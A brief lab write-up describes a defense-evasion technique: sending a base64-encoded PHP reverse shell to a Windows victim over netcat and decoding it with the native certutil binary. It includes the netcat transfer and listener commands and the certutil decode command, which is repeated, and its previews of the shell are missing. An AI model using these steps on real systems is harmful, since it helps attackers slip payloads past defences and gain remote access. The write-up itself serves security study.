Encode/Decode Data with Certutil
Defense Evasion
In this lab I will transfer a base64 encoded php reverse shell from my attacking machine to the victim machine via netcat and decode the data on the victim system using a native windows binary certutil
.
Execution
Preview of the content to be encoded on the attacking system:

Sending the above shell as a base64 encoded string to the victim system (victim is listening and waiting for the file with nc -l 4444 > enc
):
base64 < shell.php.gif | nc 10.0.0.2 4444
Once the file is received on the victim, let's check its contents:
certutil.exe -decode .\enc dec

Let's decode the data:
certutil.exe -decode .\enc dec
Let's have a look at the contents of the file dec
which now contains the base64 decoded shell:

References
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